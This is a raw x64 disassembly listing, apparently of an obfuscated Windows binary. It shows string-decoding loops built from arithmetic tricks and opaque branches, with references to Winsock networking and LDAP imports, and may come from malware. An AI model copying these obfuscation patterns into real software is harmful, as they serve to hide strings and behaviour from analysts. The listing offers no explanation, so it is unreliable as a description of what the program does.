movabs rdx, 0xc9f6b0284743cc82
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400e78d9
movabs rcx, 0xa7be7bf875720443
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2b
add r8, r9
jmp 0x1400e78a0
movabs rdx, 0x73a1adc7659c3589
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x41
jmp 0x1400e7858
movabs rcx, 0x3f84df9655c666cf
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x57
dec rbx
inc rbx
jmp 0x1400e6c44
movabs rdx, 0xd74b4334361ac95b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7d
jmp 0x1400e780a
movabs rdx, 0x6f11a6d2166f2be7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x51
add r10b, dl
lea ecx, [rbx + 0x6b]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x13
add r11b, cl
mov byte [rbp + rbx + 0x150], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400e6c44
movabs rdx, 0xd2bb3c3ee6edbfb9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xf
add r10b, dl
lea ecx, [rbx + 0x25]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 3
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0x150], r11b
add r8, r9
jmp 0x1400e78a0
movabs rcx, 0x6a819fdcc7422245
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1d
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e6c44
movabs rdx, 0x3664d1abb76c538b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x33
add r10b, dl
lea edx, [rbx - 0x21]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x19
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x150], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx + 0x3c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x150], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x150]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e6c44
movabs rcx, 0xce2b354997c0b617
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x5f
movzx eax, byte [rbp + rbx + 0x150]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e6c44
movabs rcx, 0x97b8fbe9d0a3351
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
jmp 0x1400e6c40
movabs rcx, 0xd55ec18d8d346497
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
jmp 0x1400e6c30
lea rcx, [rbp + 0x15373cc]
jmp 0x1400e79e0
lea rcx, [rbp + 0x13e5b29]
jmp 0x1400e79e0
lea rcx, [rbp + 0x150]
call fcn.140048e00
call fcn.140058b20
mov byte [rbp + 0x170], Ordinal_211
mov byte [rbp + 0x171], Ordinal_200
mov byte [rbp + 0x172], Ordinal_50
mov byte [rbp + 0x173], gethostname
mov byte [rbp + 0x174], 0x3d
mov byte [rbp + 0x175], 0x41
mov byte [rbp + 0x176], 0xfc
mov byte [rbp + 0x177], 0xa3
mov byte [rbp + 0x178], Ordinal_79
mov byte [rbp + 0x179], 0x42
mov byte [rbp + 0x17a], 0x56
mov byte [rbp + 0x17b], 0x44
mov byte [rbp + 0x17c], 0x48
mov byte [rbp + 0x17d], Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x17e], xmm0
mov byte [rbp + 0x18e], al
movabs rsi, 0x3c726f4914637cd7
movabs r12, 0xb9bc4e7131bb983b
movabs r14, 0xd93e977600dba809
movabs r15, 0x65c5fa939d647793
movabs r13, 0xf24d5db139ed471d
movzx edx, byte [rbp + 0x3d0]
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor ebx, ebx
mov r11d, ebx
cmp r11, 0x1f
jae 0x1400e8690
movzx ebx, byte [rbp + r11 + 0x170]
movzx r10d, bl
nop dword [rax]
movzx edi, r10b
cmp r8, r11
ja 0x1400e8687
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e7aff
lea rcx, [r11 + r12]
mov rax, rbx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
add dl, 0x63
jmp 0x1400e7b2b
je 0x1400e860e
inc rax
cmp r8, rax
je 0x1400e85b2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e8560
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e853c
movzx r10d, bl
nop
cmp r9, r11
ja 0x1400e867e
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400e7b58
lea rcx, [r11 + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x1f
jmp 0x1400e7ba0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e84f4
inc rax
cmp r8, rax
je 0x1400e84cb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e84ab
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e848b
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e8459
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x1400e8196
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400e8174
lea rcx, [r9 + 8]
cmp r8, rcx
je 0x1400e8146
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400e811b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400e80f8
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400e80d5
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400e80b0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e808d
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400e806a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400e8035
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e7bb0
mov r8, rcx
lea r9, [rcx + 0x200]
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400e865e
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400e863e
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x1400e7d97
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400e7d7e
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400e7d65
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400e7fd9
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400e7f84
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400e7f3c
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400e7f0f
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x1400e7bb0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x41]
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400e7edb
lea rcx, [r9 + 3]
cmp r8, rcx
ja 0x1400e7eb9
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400e7e94
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400e7e6f
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400e7e4d
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400e7e2b
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400e7e00
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400e7dd2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400e7db0
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400e7bb0
mov r8, rcx
lea r9, [rcx + 0x40]
jmp 0x1400e7bb0
lea rcx, [r11 + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3f
jmp 0x1400e7ba0
lea rcx, [r11 + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 5
jmp 0x1400e7b30
lea rcx, [r11 + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x35
jmp 0x1400e7ad0
movabs rcx, 0xe3937a48a31be6b8
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 8
jmp 0x1400e8510
movabs rcx, 0x701add663fa4b642
add rcx, r11
movzx eax, cl
and al, bl
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
inc r9
dec r11
inc r11
jmp 0x1400e7ab5
movabs rcx, 0xfca24083dc2d85cc
add rcx, r11
movzx eax, cl
and al, bl
mov edx, gethostname
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x1400e7ab5
movabs rcx, 0x8929a3a178b65556
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5a
jmp 0x1400e8579
movabs rcx, 0x15b106bf153f24e0
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x20
jmp 0x1400e8597
movabs rcx, 0xa23869dcb1c7f46a
add rcx, r11
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_listen
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x1400e859a
movabs rcx, 0x2ebfccfa4e50c3f4
add rcx, r11
movzx eax, cl
and al, bl
mov edx, Ordinal_45
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x1400e8429
movabs rcx, 0xbb473017ead9937e
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x72
jmp 0x1400e85cb
movabs rcx, 0x47ce933587626308
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x38
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e7ab5
movabs rcx, 0xa7210aff8eb869e1
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x27
mov byte [rbp + r11 + 0x170], dl
inc r11
jmp 0x1400e7ab5
movabs rcx, 0x33a86e1d2b41396b
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x13
cmp r9, 0xa
jb 0x1400e7f2c
movabs rax, 0x1074119d0bea782
add rax, r11
and bl, al
add bl, bl
movzx ecx, r10b
sub cl, bl
add cl, al
lea edx, [rcx*2 - 0x1c]
jmp 0x1400e8510
movabs rcx, 0xc02fd13ac7ca08f5
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x4d
cmp r8, 3
jae 0x1400e83e1
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400e8343
movabs rdx, 0x7e512041ee16c2e6
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4a
add dl, cl
jmp 0x1400e7f59
movabs rcx, 0x4cb734586452d87f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x79
lea rax, [r8 + r9]
cmp rax, 0x40
je 0x1400e8408
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400e82b7
movabs rdx, 0x41deb0f8d9b3460f
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x69
add dl, cl
jmp 0x1400e7fa1
movabs rcx, 0x6aae9bb67a54ed0a
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x46
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e7ab5
movabs rcx, 0xf735fed416ddbc94
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0xc
jmp 0x1400e85cb
movabs rdx, 0x83bd61f1b3668c1e
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400e8427
movabs rdx, 0x1044c50f4fef5ba8
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400e859a
movabs rcx, 0x9ccc282cec782b32
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x5e
jmp 0x1400e8597
movabs rcx, 0x29538b4a8900fabc
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x24
jmp 0x1400e8579
movabs rdx, 0xb5daee682589ca46
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x1400e7ab5
movabs rdx, 0x42625185c21299d0
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x1400e7ab5
movabs rdx, 0xcee9b4a35e9b695a
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x76
jmp 0x1400e850e
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400e81ba
lea rdx, [r11 + r12]
movzx eax, dl
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x63
add dl, cl
jmp 0x1400e7ff6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e81fa
movabs rdx, 0x78e4de9228c6f9ae
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e7ab5
inc rax
cmp r8, rax
jne 0x1400e8227
movabs rdx, 0xec5d7b748c3e2a24
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400e85cb
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e8255
movabs rdx, 0xba3feefe1a1aebfc
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400e8579
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e8287
movabs rcx, 0x2db88be07d921c72
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x1e
dec r11
inc r11
jmp 0x1400e7ab5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e7ff6
movabs rdx, 0x14a9c5a544807d5e
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400e850e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e82e2
movabs rdx, 0xb5574ddb3d2a7685
add rdx, r11
movzx eax, dl
and al, bl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x5d
jmp 0x1400e850e
inc rax
cmp r8, rax
jne 0x1400e8313
movabs rcx, 0x9c4887a00418d771
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x17
dec r11
inc r11
jmp 0x1400e7ab5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e7fa1
movabs rcx, 0x8339c164cb07385d
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x75
jmp 0x1400e8597
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e8383
movabs rdx, 0xf1c9bd24518df35c
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e7ab5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e83ac
movabs rdx, 0xd8baf6e9187c5448
add rdx, r11
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400e8427
cmp r8, rcx
jne 0x1400e7f59
movabs rcx, 0x1a16075509d04696
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x1a
inc r9
dec r11
inc r11
jmp 0x1400e7ab5
movabs rcx, 0x747fddfc3435d7f8
add rcx, r11
movzx eax, bl
and al, cl
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, r10b
add dl, cl
add dl, bl
jmp 0x1400e8579
movabs rdx, 0xe7f87ade97ad086e
add rdx, r11
movzx eax, bl
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, bl
sub dl, 2
add dl, cl
lea ecx, [r11 - 0x57]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x61
add r10b, cl
movzx eax, r10b
mov byte [rbp + r11 + 0x170], al
inc r9
add rax, r9
sub r11, rax
jmp 0x1400e85cb
movabs rax, 0x4baff33e939430fd
add rax, r11
and bl, al
add bl, bl
sub r10b, bl
lea edx, [rax + r10]
add dl, 0x15
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e7ab5
movabs rax, 0xf1461c97692e9f9b
add rax, r11
and bl, al
add bl, bl
sub r10b, bl
lea edx, [rax + r10]
sub dl, 0x3d
jmp 0x1400e859a
movabs rax, 0xa54e2d2a2403eaf
add rax, r11
and bl, al
add bl, bl
sub r10b, bl
lea edx, [rax + r10]
add dl, 0x37
jmp 0x1400e8579
movabs rax, 0x2363a90ddb51ddc3
add rax, r11
and bl, al
add bl, bl
sub r10b, bl
lea edx, [rax + r10]
sub dl, 0x55
inc r9
dec r11
inc r11
jmp 0x1400e7ab5
movabs rcx, 0xafeb0c2b77daad4d
add rcx, r11
and bl, cl
add bl, bl
movzx edx, r10b
sub dl, bl
sub dl, 0x1b
add dl, cl
lea ecx, [r11 - 0x43]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x2b
add r10b, cl
mov byte [rbp + r11 + 0x170], r10b
inc r9
dec r11
inc r11
jmp 0x1400e7ab5
movabs rax, 0xe20898a1e9fdeb75
add rax, r11
and bl, al
add bl, bl
sub al, bl
lea edx, [rdi + rax]
sub dl, 0x33
dec r11
inc r11
jmp 0x1400e7ab5
movabs rax, 0x6e8ffbbf8686baff
add rax, r11
and bl, al
add bl, bl
sub al, bl
lea edx, [rdi + rax]
add dl, 7
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x65
add cl, dil
add cl, dl
mov byte [rbp + r11 + 0x170], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400e7ab5
movabs rax, 0xa0ad8835f8a9f927
add rax, r11
and bl, al
add bl, bl
sub al, bl
lea edx, [rdi + rax]
sub dl, 0x11
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x3c
add cl, dil
mov byte [rbp + r11 + 0x170], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e7ab5
movabs rax, 0x2d34eb539532c8b1
add rax, r11
and bl, al
add bl, bl
sub al, bl
lea edx, [rdi + rax]
add dl, 0x29
movzx eax, byte [rbp + r11 + 0x170]
add rax, r9
add r11, rax
inc r11
jmp 0x1400e7ab5
movabs rax, 0x7ed4c0ced67616a7
add rax, r11
and bl, al
add bl, bl
sub r10b, bl
lea edx, [rax + r10]
add dl, 0x6f
jmp 0x1400e7ab0
movabs rax, 0xb5c23ec72fee631
add rax, r11
and bl, al
add bl, bl
sub r10b, bl
lea edx, [rax + r10]
sub dl, 0x57
jmp 0x1400e7aa0
lea rcx, [rbp + 0x14a4914]
jmp 0x1400e8697
lea rcx, [rbp + 0x105e14f]
jmp 0x1400e8697
lea rcx, [rbp + 0x170]
call fcn.140048e00
mov byte [rbp + 0x210], reloc.WS2_32.dll_send
mov byte [rbp + 0x211], 0x75
mov byte [rbp + 0x212], 0x63
mov byte [rbp + 0x213], WSAStartup
mov byte [rbp + 0x214], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x215], WSASetLastError
mov byte [rbp + 0x216], 0x68
mov byte [rbp + 0x217], 0x60
mov byte [rbp + 0x218], Ordinal_45
mov byte [rbp + 0x219], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x21a], 0x7e
mov byte [rbp + 0x21b], WSASetLastError
mov byte [rbp + 0x21c], 0x7e
mov byte [rbp + 0x21d], 0x79
mov byte [rbp + 0x21e], 0x7b
mov byte [rbp + 0x21f], 0x7f
mov byte [rbp + 0x220], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x221], xmm0
mov qword [rbp + 0x231], rax
mov dword [rbp + 0x239], eax
mov word [rbp + 0x23d], ax
movabs rdi, 0xdfc1bcec33d1a420
movabs rsi, 0xeda0d64c326b9fe0
movabs r15, 0xe6156a852709fba0
movabs r14, 0x21760141e457a8a0
movabs r12, 0x554b2c379643b160
movabs r13, 0xcd629338663d4400
movzx r10d, byte [rbp + 0x3d0]
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
xor eax, eax
mov ebx, eax
cmp rbx, 0x2f
jae 0x1400e9446
movzx r11d, byte [rbp + rbx + 0x210]
cmp r8, rbx
ja 0x1400e943d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e87d3
lea rcx, [rbx + r15]
mov rax, r11
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, r11
add r10, rcx
sub r10b, 0x60
jmp 0x1400e8800
je 0x1400e93b0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e931d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e92e1
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400e92b3
cmp r9, rbx
ja 0x1400e9434
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400e882f
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e8870
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e9263
inc rax
cmp r8, rax
je 0x1400e9257
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e922c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e9207
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e91cd
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400e8e91
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400e8e6c
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e8e42
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e8e13
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400e8deb
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400e8dc6
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400e8da5
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400e8d91
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e8d69
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400e8d33
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400e8880
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400e940f
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400e93e6
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400e8a70
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400e8a51
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400e8a32
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400e8cd4
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400e8c73
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400e8c20
lea rcx, [r9 + 4]
cmp r8, rcx
jb 0x1400e8bf0
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400e8880
mov r8, rcx
lea r9, [rcx + 8]
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400e8bbe
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400e8b95
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400e8b70
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400e8b4b
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400e8b33
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400e8b0a
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400e8adf
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400e8ab1
lea rcx, [r9 + 0x5a]
cmp r8, rcx
ja 0x1400e8a90
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400e8880
mov r8, rcx
lea r9, [rcx + 2]
jmp 0x1400e8880
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
add r10b, dl
jmp 0x1400e8870
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x1400e8800
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e87a7
movabs rdx, 0xfe0de7619e8d2100
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
jmp 0x1400e9284
movabs rcx, 0x31e31257507929c0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400e8794
movabs rcx, 0x65b83d4d02653280
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x1400e8794
movabs rdx, 0x998d6842b4513b40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e9185
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x1400e9301
movabs rcx, 0x137be2e18294cc0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
jmp 0x1400e9304
movabs rdx, 0x350ce923ca155580
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
jmp 0x1400e933e
movabs rdx, 0x68e214197c015e40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e936a
movabs rcx, 0x9cb73f0f2ded6700
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
movzx eax, byte [rbp + rbx + 0x210]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e8794
movabs rcx, 0x1e4c2a756abb7ce0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
mov byte [rbp + rbx + 0x210], r10b
inc rbx
jmp 0x1400e8794
movabs rdx, 0x5221556b1ca785a0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
cmp r9, 5
jb 0x1400e8c10
movabs rcx, 0xac88710d8dfa41c0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
movzx edx, r11b
sub dl, al
add dl, cl
lea r10d, [rdx*2 - 0x80]
jmp 0x1400e9287
movabs rdx, 0x85f68060ce938e60
add rdx, rbx
movzx eax, r11b
and al, dl
